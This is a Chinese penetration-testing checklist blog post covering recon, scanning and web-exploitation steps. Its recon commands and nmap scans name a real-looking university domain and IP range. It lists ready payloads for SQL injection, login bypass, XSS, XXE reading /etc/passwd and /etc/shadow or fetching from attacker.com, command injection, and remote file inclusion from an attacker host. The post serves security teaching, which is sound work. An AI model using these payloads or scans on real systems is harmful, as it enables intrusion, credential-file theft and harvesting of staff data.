渗透测试流程

对着背影说爱祢 提交于 2019-11-27 03:30:22

 

  • 1.信息收集

 

    •  确认目标 -----域名信息相关工具 

whatweb -v http://www.xxx.com

         whois  http://www.xxx.com

    •  DNS信息查询
    •  测试域传送:域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但 是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。
          • dig -t NS syu.edu.cn +short
          • dig -t AXFR syu.edu.cn @xxx
          • dig -t AXFR syu.edu.cn @xxx
    • 公开情报收集+google hacking语法
        • https://www.exploit-db.com/google-hacking-database/谷歌黑客数据库
        • email信息
          • site:202.199.32.0/24 查找子域名
          • intext:公司名称+email**
          • email**@公司域名
          • site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
          • site:xxx.com intext:email
          • site:xxxx.com intext:电话 //N个电话
          • Intext:Poweredby Discuz //版本信息
          • Cache:xxx.com //缓存
        • 网站信息
          • 查找后台地址:site:域名inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
          • 查找文本内容site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
          • 查找可注入点:site:域名 inurl:aspx|jsp|php|asp
          • 查找上传漏洞:site:域名 inurl:file|load|editor|Files
          • 找eweb编辑器:site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
          • 存在的数据库:site:域名 filetype:mdb|asp|#
          • 查看脚本类型:site:域名 filetype:asp/aspx/php/jsp
          • 迂回策略入侵:inurl:cms/data/templates/images/index/
    • Maltego:交互式的数据挖掘工具。
    • Theharvester:从不同的公开资源中收集邮箱、子域名、虚拟主机、开放的端口/主机指纹和员工姓名等信息
        •  theharvester -d syu.edu.cn -l 1000 -b google

     

    端口扫描,服务识别,os识别

      • Nmap带服务识别和操作系统指纹识别的TCP/IP主机和端口扫描工具
        • 扫描前1000tcp端口nmap 202.199.32.5
        • Ping扫描ip段主机 nmap –sP 202.199.32.0/24
        • 扫描指定端口 nmap –p 80443 202.199.32.5
        • 扫描前1000tcp端口,os指纹,服务 nmap –A 202.199.32.5
        • 扫描udp端口 nmap –sU 202.199.32.5
        • 扫描所有65535UDP端口,并获取服务、OS指纹 nmap –sU –P- -A 202.199.32.5
        • 常见端口漏洞信息
      • 浏览器插件
        • User Agent Switcher 一款可以快速切换用户代理的Firefox插件
        • Wappalyzer 可以检测各种各样的网站所用的技术和软件组件的插件
        • FoxyProxy 代理切换插件
      • Burp插件在网上找到的
        • Retire.js (BApp) 用于检测版本落后的Javascript组件漏洞的Burp suite扩展
        • Wsdler (BApp) 可以解析WSDL文件,然后测试所有的允许的方法的请求https://blog.netspi.com/hacking-web-services-with-burp/
        • Python Scripter (BApp) 可以在每个HTTP请求和响应时执行一段用户定义的Python脚本

        • 漏洞扫描
          • Linux自带NIKto:有指纹识别功能的Web服务漏洞扫描器
              • nikto -h http://www.syu.edu.cn -output ~/syu.edu.cn.html -Format htm
            •  burp测试可选内容
                • 使用Intruder来模糊测试 User-Agent和Referer请求头,利用FuzzDB的字典。
                • 使用acunetix自动化扫描,
                • IBM 扫描漏洞
                • 注意错误页面
                  • 数据库结构和服务器文件系统等信息
            • Burp Repeater:手工修改、重放HTTP请求的Burp模块 
              • Sql注入:显示错误信息 

                                       ' OR 1=1 – 1

            ' OR '1'='1

            ' or 1=1 LIMIT 1;--

                 admin';--

                  • Xss:  <IMG SRC=javascript:alert('XSS')>

                 "><script>alert('XSS')</script><" 

               

               
               

               

                 " onmouseover="alert('XSS')

               

               

                  • xml注入: Username = foo<

              Username = foo<!—

                • XML实体注入(XXE):

                <?xml version="1.0" encoding="ISO-8859-1"?>

                <!DOCTYPE foo [

                <!ELEMENT foo ANY >

                <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>


                <?xml version="1.0" encoding="ISO-8859-1"?>

                <!DOCTYPE foo [

                <!ELEMENT foo ANY >

                <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>


                <?xml version="1.0" encoding="ISO-8859-1"?>

                <!DOCTYPE foo [

                <!ELEMENT foo ANY >

                <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>


                <?xml version="1.0" encoding="ISO-8859-1"?>

                <!DOCTYPE foo [

                <!ELEMENT foo ANY >

                    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

                  <%= 7 * 7 %>

                  {{ 7 * 7 }}

                    • 命令注入:用户注入操作系统的命令到Web应用程序并被执行,就发生了命令注入。

                    http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

                    http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

                    Doc=Doc1.pdf+|+Dir c:\

                      • 恶意重定向:当应用没有检查用户可控输入时,攻击者输入了恶意的URL并被应用接受时发生。

                      http://www.a.com?#redirect=www.fake-target.site

                      http://www.b.com??url=http://www.fake-target.site

                       

                        • 本地文件包含(LFI):Web应用允许包含本地服务器端存在的文件.
                        http://vulnerable_host/preview.php?file=../../../../etc/passwd
                        http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
                          • 远程文件包含(RFI):Web应用允许包含远程服务器上存在的文件。

                          http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page

                            • 逻辑漏洞:想要发现逻辑漏洞,你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后,你才能推想哪里有可利用的地方。测试逻辑漏洞时,可以回想作为普通用户是如何使用Web应用的功能的,是如何一步一步完成各种动作的,然后你要做的就是不按照这些步骤来。

                            https://www.owasp.org/index.php/Unrestricted_File_Upload

                            http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/

                             

                             



                            4漏洞利用

                                • 利用sqli;工具sqlmap

                                 

                                 

                                  • 离线爆破密码工具;hashcat密码攻击

                                   

                                   

                                    • 认证绕过

                                     

                                    • 尝试在一些脆弱的表单里输入:

                                     

                                    admin' --

                                    admin' #

                                    admin'/*

                                    admin' or '1'='1

                                    admin' or '1'='1'--

                                    admin' or '1'='1'#

                                    admin' or '1'='1'/*

                                    admin'or 1=1 or ''='

                                    admin' or 1=1

                                      • 跨站请求伪造(CSRF):用Generate CSRF PoC来验证是否真的存在。

                                       

                                      https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-

                                        • Sql+xss+跨站+csrf+xml
                                        http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/

                                        https://www.owasp.org/index.php/REST_Assessment_Cheat_Sheet

                                          • 安全加固 
                                          https://cnodejs.org/topic/5a502debafa0a121784a89c3

                                           

                                          09/11/2018

                                          youyouii 

                                           

                                          易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
                                          该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!